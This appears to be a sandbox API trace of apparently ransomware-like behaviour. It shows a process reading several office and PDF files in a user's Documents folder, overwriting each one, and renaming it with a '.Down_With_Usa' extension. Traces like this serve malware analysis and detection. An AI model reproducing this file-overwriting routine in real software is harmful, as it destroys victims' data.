[0119.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\6gn2xnnijb1z5u.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", lpFilePart=0x0) returned 0x5a
[0119.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf.Down_With_Usa", lpFilePart=0x0) returned 0x68
[0119.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.295] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\6gn2xnnijb1z5u.pdf"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce347ef0, ftCreationTime.dwHighDateTime=0x1d5e61b, ftLastAccessTime.dwLowDateTime=0x2b3946a0, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0x2391f3c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x78c0)) returned 1
[0119.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.295] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\6gn2xnnijb1z5u.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\6gn2xnnijb1z5u.pdf.down_with_usa")) returned 1
[0119.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", lpFilePart=0x0) returned 0x52
[0119.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\ovgfua.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.297] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0xfbec
[0119.297] ReadFile (in: hFile=0x3a8, lpBuffer=0x2782380, nNumberOfBytesToRead=0xfbec, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2782380*, lpNumberOfBytesRead=0x2eb358*=0xfbec, lpOverlapped=0x0) returned 1
[0119.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", lpFilePart=0x0) returned 0x52
[0119.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\ovgfua.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt", lpFilePart=0x0) returned 0x52
[0119.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt.Down_With_Usa", lpFilePart=0x0) returned 0x60
[0119.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\ovgfua.odt"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e9f500, ftCreationTime.dwHighDateTime=0x1d5dcee, ftLastAccessTime.dwLowDateTime=0x74b44240, ftLastAccessTime.dwHighDateTime=0x1d5dbe2, ftLastWriteTime.dwLowDateTime=0x239917e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xfbf0)) returned 1
[0119.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.352] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\ovgfua.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\oVGFua.odt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\ovgfua.odt.down_with_usa")) returned 1
[0119.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", lpFilePart=0x0) returned 0x56
[0119.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\vt2sbxsmg.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.359] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x33d7
[0119.359] ReadFile (in: hFile=0x3a8, lpBuffer=0x26bd240, nNumberOfBytesToRead=0x33d7, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26bd240*, lpNumberOfBytesRead=0x2eb358*=0x33d7, lpOverlapped=0x0) returned 1
[0119.412] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", lpFilePart=0x0) returned 0x56
[0119.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\vt2sbxsmg.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx", lpFilePart=0x0) returned 0x56
[0119.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0119.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\vt2sbxsmg.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebe1e0, ftCreationTime.dwHighDateTime=0x1d5e754, ftLastAccessTime.dwLowDateTime=0x73bdb1d0, ftLastAccessTime.dwHighDateTime=0x1d5de96, ftLastWriteTime.dwLowDateTime=0x23a4fec0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x33e0)) returned 1
[0119.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.416] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\vt2sbxsmg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\VT2Sbxsmg.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\vt2sbxsmg.pptx.down_with_usa")) returned 1
[0119.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", lpFilePart=0x0) returned 0x50
[0119.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\w5fl.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.417] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x11b4a
[0119.417] ReadFile (in: hFile=0x3a8, lpBuffer=0x27bc900, nNumberOfBytesToRead=0x11b4a, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x27bc900*, lpNumberOfBytesRead=0x2eb358*=0x11b4a, lpOverlapped=0x0) returned 1
[0119.448] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", lpFilePart=0x0) returned 0x50
[0119.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\w5fl.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps", lpFilePart=0x0) returned 0x50
[0119.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps.Down_With_Usa", lpFilePart=0x0) returned 0x5e
[0119.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\w5fl.pps"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74222690, ftCreationTime.dwHighDateTime=0x1d5e505, ftLastAccessTime.dwLowDateTime=0x305978f0, ftLastAccessTime.dwHighDateTime=0x1d5e0ff, ftLastWriteTime.dwLowDateTime=0x23a9c180, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11b50)) returned 1
[0119.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.453] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\w5fl.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\w5FL.pps.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\w5fl.pps.down_with_usa")) returned 1
[0119.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", lpFilePart=0x0) returned 0x51
[0119.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\xfsb.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.454] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x8e5f
[0119.454] ReadFile (in: hFile=0x3a8, lpBuffer=0x26f1250, nNumberOfBytesToRead=0x8e5f, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26f1250*, lpNumberOfBytesRead=0x2eb358*=0x8e5f, lpOverlapped=0x0) returned 1
[0119.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", lpFilePart=0x0) returned 0x51
[0119.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\xfsb.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx", lpFilePart=0x0) returned 0x51
[0119.484] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x5f
[0119.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
[0119.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\xfsb.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2eb480 | out: lpFileInformation=0x2eb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d3010, ftCreationTime.dwHighDateTime=0x1d5e651, ftLastAccessTime.dwLowDateTime=0x90349b60, ftLastAccessTime.dwHighDateTime=0x1d5e695, ftLastWriteTime.dwLowDateTime=0x23ae8440, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8e60)) returned 1
[0119.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb360) returned 1
[0119.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\xfsb.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\xFSb.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\xfsb.pptx.down_with_usa")) returned 1
[0119.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", lpFilePart=0x0) returned 0x5f
[0119.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\y7jpyl8-fyyxjivflxs.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.486] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x5dec
[0119.492] ReadFile (in: hFile=0x3a8, lpBuffer=0x26001c0, nNumberOfBytesToRead=0x5dec, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x26001c0*, lpNumberOfBytesRead=0x2eb358*=0x5dec, lpOverlapped=0x0) returned 1
[0119.516] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", lpFilePart=0x0) returned 0x5f
[0119.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0119.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\y7jpyl8-fyyxjivflxs.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0119.520] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\Y7Jpyl8-fYyxjIvflxS.ods", lpFilePart=0x0) returned 0x5f
